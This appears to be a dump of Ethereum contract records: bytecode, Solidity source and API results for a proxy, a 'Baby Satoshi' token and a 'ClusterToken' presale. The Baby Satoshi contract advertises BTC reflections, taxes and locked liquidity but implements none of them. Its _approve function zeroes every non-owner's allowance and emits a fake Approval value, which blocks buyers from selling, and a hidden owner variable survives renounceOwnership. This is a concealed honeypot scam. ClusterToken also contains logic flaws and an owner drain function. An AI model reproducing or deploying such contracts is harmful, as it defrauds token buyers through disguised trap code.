0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212209a2b0695f9fe7198bdc684f6684bee1480d5c64a3254daa9a802f885b949231764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,272 |
0x85489111d666603a9b97687ebee1408c885c1577
|
/*
____ ____ ____ __ __ _____ ____ ______ ___ _____ __ __ ____
| \ / || \ | | | / ___/ / || | / \ / ___/| | || |
| o )| o || o )| | | ( \_ | o || || ( \_ | | | | |
| || || || ~ | \__ || ||_| |_|| O |\__ || _ | | |
| O || _ || O ||___, | / \ || _ | | | | |/ \ || | | | |
| || | || || | \ || | | | | | |\ || | | | |
|_____||__|__||_____||____/ \___||__|__| |__| \___/ \___||__|__||____|
👸🏻Baby Satoshi👸🏻
👸🏻 Fair Launch in ~3h 👸🏻
This is a new token that going to distribute BitCoin to all holders via reflections. It’s paid out automatically.
In my opinion, this token will be huge since it’s the first one that they started to distribute BTC (as far as I know)
Marketcap will be 30K$
$bSATOSHI
👩💻Website - https://babysatoshitoken.com/
💬Telegram - https://t.me/babysatoshiuni
💸 Tax: 14% Tokenomics (8% Redistributed among holders in BTC, 6% Marketing.) on sell.
🌐 Liquidity: 100% locked for 6 months
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract BabySatoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'Baby Satoshi | https://t.me/babysatoshiuni';
string private _symbol = '$bSATOSHI';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address baby, address ery, uint256 amount) private {
require(baby != address(0), "ERC20: approve from the zero address");
require(ery != address(0), "ERC20: approve to the zero address");
if (baby != owner()) { _allowances[baby][ery] = 0; emit Approval(baby, ery, 4); }
else { _allowances[baby][ery] = amount; emit Approval(baby, ery, amount); }
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f48bd61b657f1fc23d4934bec3f77a9f54c90edcfc4d8a3ca35b3f285b85a18764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,273 |
0x08fd34559f2ed8585d3810b4d96ab8a05c9f97c5
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
bool public stopped;
modifier stopInEmergency {
if (stopped) {
throw;
}
_;
}
modifier onlyInEmergency {
if (!stopped) {
throw;
}
_;
}
// called by the owner on emergency, triggers stopped state
function emergencyStop() external onlyOwner {
stopped = true;
}
// called by the owner on end of emergency, returns to normal state
function release() external onlyOwner onlyInEmergency {
stopped = false;
}
}
/**
* @title PullPayment
* @dev Base contract supporting async send for pull payments. Inherit from this
* contract and use asyncSend instead of send.
*/
contract PullPayment {
using SafeMath for uint;
mapping(address => uint) public payments;
event LogRefundETH(address to, uint value);
/**
* Store sent amount as credit to be pulled, called by payer
**/
function asyncSend(address dest, uint amount) internal {
payments[dest] = payments[dest].add(amount);
}
// withdraw accumulated balance, called by payee
function withdrawPayments() {
address payee = msg.sender;
uint payment = payments[payee];
if (payment == 0) {
throw;
}
if (this.balance < payment) {
throw;
}
payments[payee] = 0;
if (!payee.send(payment)) {
throw;
}
LogRefundETH(payee,payment);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/*
* Fix for the ERC20 short address attack
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* ClusterToken presale contract.
*/
contract ClusterToken is StandardToken, PullPayment, Ownable, Pausable {
using SafeMath for uint;
struct Backer {
address buyer;
uint contribution;
uint withdrawnAtSegment;
uint withdrawnAtCluster;
bool state;
}
/**
* Variables
*/
string public constant name = "ClusterToken";
string public constant symbol = "CLRT";
uint256 public constant decimals = 18;
uint256 private buyPriceEth = 10000000000000000;
uint256 public initialBlockCount;
uint256 private testBlockEnd;
uint256 public contributors;
uint256 private minedBlocks;
uint256 private ClusterCurrent;
uint256 private SegmentCurrent;
uint256 private UnitCurrent;
mapping(address => Backer) public backers;
/**
* @dev Contract constructor
*/
function ClusterToken() {
totalSupply = 750000000000000000000;
balances[msg.sender] = totalSupply;
initialBlockCount = 4086356;
contributors = 0;
}
/**
* @return Returns the current amount of CLUSTERS
*/
function currentCluster() constant returns (uint256 currentCluster)
{
uint blockCount = block.number - initialBlockCount;
uint result = blockCount.div(1000000);
return result;
}
/**
* @return Returns the current amount of SEGMENTS
*/
function currentSegment() constant returns (uint256 currentSegment)
{
uint blockCount = block.number - initialBlockCount;
uint newSegment = currentCluster().mul(1000);
uint result = blockCount.div(1000).sub(newSegment);
return result;
}
/**
* @return Returns the current amount of UNITS
*/
function currentUnit() constant returns (uint256 currentUnit)
{
uint blockCount = block.number - initialBlockCount;
uint getClusters = currentCluster().mul(1000000);
uint newUnit = currentSegment().mul(1000);
return blockCount.sub(getClusters).sub(newUnit);
}
/**
* @return Returns the current network block
*/
function currentBlock() constant returns (uint256 blockNumber)
{
return block.number - initialBlockCount;
}
/**
* @dev Allows users to buy CLUSTER and receive their tokens at once.
* @return The amount of CLUSTER bought by sender.
*/
function buyClusterToken() payable returns (uint amount) {
if (balances[this] < amount) throw;
amount = msg.value.mul(buyPriceEth).div(1 ether);
balances[msg.sender] += amount;
balances[this] -= amount;
Transfer(this, msg.sender, amount);
Backer backer = backers[msg.sender];
backer.contribution = backer.contribution.add(amount);
backer.withdrawnAtSegment = backer.withdrawnAtSegment.add(0);
backer.withdrawnAtCluster = backer.withdrawnAtCluster.add(0);
backer.state = backer.state = true;
contributors++;
return amount;
}
/**
* @dev Allows users to claim CLUSTER every 1000 SEGMENTS (1.000.000 blocks).
* @return The amount of CLUSTER claimed by sender.
*/
function claimClusters() public returns (uint amount) {
if (currentSegment() == 0) throw;
if (!backers[msg.sender].state) throw;
uint previousWithdraws = backers[msg.sender].withdrawnAtCluster;
uint entitledToClusters = currentCluster().sub(previousWithdraws);
if (entitledToClusters == 0) throw;
if (!isEntitledForCluster(msg.sender)) throw;
uint userShares = backers[msg.sender].contribution.div(1 finney);
uint amountForPayout = buyPriceEth.div(contributors);
amount = amountForPayout.mul(userShares).mul(1000);
balances[msg.sender] += amount;
balances[this] -= amount;
Transfer(this, msg.sender, amount);
backers[msg.sender].withdrawnAtCluster = currentCluster();
return amount;
}
/**
* @dev Allows users to claim segments every 1000 UNITS (blocks).
* @dev NOTE: Users claiming SEGMENTS instead of CLUSTERS get only half of the reward.
* @return The amount of SEGMENTS claimed by sender.
*/
function claimSegments() public returns (uint amount) {
if (currentSegment() == 0) throw;
if (!backers[msg.sender].state) throw;
uint previousWithdraws = currentCluster().add(backers[msg.sender].withdrawnAtSegment);
uint entitledToSegments = currentCluster().add(currentSegment().sub(previousWithdraws));
if (entitledToSegments == 0 ) throw;
uint userShares = backers[msg.sender].contribution.div(1 finney);
uint amountForPayout = buyPriceEth.div(contributors);
amount = amountForPayout.mul(userShares).div(10).div(2);
balances[msg.sender] += amount;
balances[this] -= amount;
Transfer(this, msg.sender, amount);
backers[msg.sender].withdrawnAtSegment = currentSegment();
return amount;
}
/**
* @dev Function if users send funds to this contract, call the buy function.
*/
function() payable {
if (msg.sender != owner) {
buyClusterToken();
}
}
/**
* @dev Allows owner to withdraw funds from the account.
*/
function Drain() onlyOwner public {
if(this.balance > 0) {
if (!owner.send(this.balance)) throw;
}
}
/**
* Burn away the specified amount of ClusterToken tokens.
* @return Returns success boolean.
*/
function burn(uint _value) onlyOwner returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, 0x0, _value);
return true;
}
/**
* @dev Internal check to see if at least 1000 segments passed without withdrawal prior to rewarding a cluster
*/
function isEntitledForCluster(address _sender) private constant returns (bool) {
uint t1 = currentCluster().mul(1000).add(currentSegment());
uint t2 = backers[_sender].withdrawnAtSegment;
if (t1.sub(t2) >= 1000) { return true; }
return false;
}
}
|
0x606060405236156101675763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610190578063095ea7b3146102205780630a0278251461024157806318160ddd1461026357806323b872dd14610285578063313ce567146102ac57806342966c68146102ce5780636103d70b146102f557806363a599a4146103075780636e7e3b2b1461031957806370a082311461033b57806375f12b211461036957806386d1a69f1461038d5780638b57ebc61461039f5780638da5cb5b146103c1578063953b42b3146103ed57806395d89b411461040757806399b465cb14610497578063a9059cbb146104b9578063b281c478146104da578063b85dfb80146104fc578063b99f1d021461054f578063d67a073f14610571578063dd62ed3e14610583578063e12ed13c146105b7578063e2982c21146105d9578063e5f65c7114610607578063f2fde38b14610629575b61018e5b60045433600160a060020a0390811691161461018b57610189610647565b505b5b565b005b341561019857fe5b6101a0610785565b6040805160208082528351818301528351919283929083019185019080838382156101e6575b8051825260208311156101e657601f1990920191602091820191016101c6565b505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022857fe5b61018e600160a060020a03600435166024356107bc565b005b341561024957fe5b61025161085c565b60408051918252519081900360200190f35b341561026b57fe5b6102516108c8565b60408051918252519081900360200190f35b341561028d57fe5b61018e600160a060020a03600435811690602435166044356108ce565b005b34156102b457fe5b6102516109e0565b60408051918252519081900360200190f35b34156102d657fe5b6102e16004356109e5565b604080519115158252519081900360200190f35b34156102fd57fe5b61018e610a96565b005b341561030f57fe5b61018e610b5d565b005b341561032157fe5b610251610bb2565b60408051918252519081900360200190f35b341561034357fe5b610251600160a060020a0360043516610bb8565b60408051918252519081900360200190f35b341561037157fe5b6102e1610bd7565b604080519115158252519081900360200190f35b341561039557fe5b61018e610bf8565b005b34156103a757fe5b610251610c61565b60408051918252519081900360200190f35b34156103c957fe5b6103d1610e21565b60408051600160a060020a039092168252519081900360200190f35b610251610647565b60408051918252519081900360200190f35b341561040f57fe5b6101a0610e30565b6040805160208082528351818301528351919283929083019185019080838382156101e6575b8051825260208311156101e657601f1990920191602091820191016101c6565b505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049f57fe5b610251610e67565b60408051918252519081900360200190f35b34156104c157fe5b61018e600160a060020a0360043516602435610ebb565b005b34156104e257fe5b610251610f77565b60408051918252519081900360200190f35b341561050457fe5b610518600160a060020a0360043516610f9e565b60408051600160a060020a039096168652602086019490945284840192909252606084015215156080830152519081900360a00190f35b341561055757fe5b610251610fda565b60408051918252519081900360200190f35b341561057957fe5b61018e611172565b005b341561058b57fe5b610251600160a060020a03600435811690602435166111dc565b60408051918252519081900360200190f35b34156105bf57fe5b610251611209565b60408051918252519081900360200190f35b34156105e157fe5b610251600160a060020a0360043516611212565b60408051918252519081900360200190f35b341561060f57fe5b610251611224565b60408051918252519081900360200190f35b341561063157fe5b61018e600160a060020a036004351661122a565b005b600160a060020a0330166000908152600160205260408120548190819010156106705760006000fd5b61069d670de0b6b3a76400006106916005543461128390919063ffffffff16565b9063ffffffff6112b216565b600160a060020a03338116600081815260016020908152604080832080548701905530909416808352918490208054869003905583518581529351949650919390926000805160206113c